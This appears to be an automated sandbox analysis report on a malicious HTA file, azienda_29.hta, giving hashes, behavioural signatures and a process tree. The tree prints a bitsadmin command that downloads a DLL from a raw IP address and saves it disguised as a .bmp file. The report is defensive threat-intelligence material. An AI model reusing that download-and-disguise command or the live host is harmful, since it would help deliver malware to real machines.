Analysis
- max time kernel
63s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system - submitted
07/02/2023, 10:41
Static task
static1
Behavioral task
behavioral1
Sample
azienda_29.hta
Resource
win7-20221111-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
azienda_29.hta
Resource
win10v2004-20220901-en
5 signatures
150 seconds
General
- Target azienda_29.hta
- Size 6KB
- Sample230207-mq4v2sec81
- SHA256 83ddc3a0e23f7614c94bfbc2cbd98a87980c082ec48bb9b5bed1376d65ba2fe3
- MD5 239656f8c1aed28be6206662b3864211
- SHA1 d8c729f70db90f02b7f28da7dd16913093aee321
- SHA512 ae27a7fb136506b3cdf23e6f25584f655d83aaf5246e03fb834b50bb2799d397ea37a0cefdc93d12db3d371d52cf8ba86cfc99eb805a287517a4109da3a3a697
- SSDEEP 96:w1KwkLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dl96r2:59U77rIKdn863jMM0OD9+VVF4vx4kuO
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
flow pid Process 7 3796 mshta.exe 8 3796 mshta.exe 10 3796 mshta.exe 15 3796 mshta.exe 17 3796 mshta.exe 19 3796 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2064 bitsadmin.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3796 wrote to memory of 2064 3796 mshta.exe 83 PID 3796 wrote to memory of 2064 3796 mshta.exe 83 PID 3796 wrote to memory of 2064 3796 mshta.exe 83
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_29.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.2/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp2⤵
- Download via BitsAdmin
PID:2064
-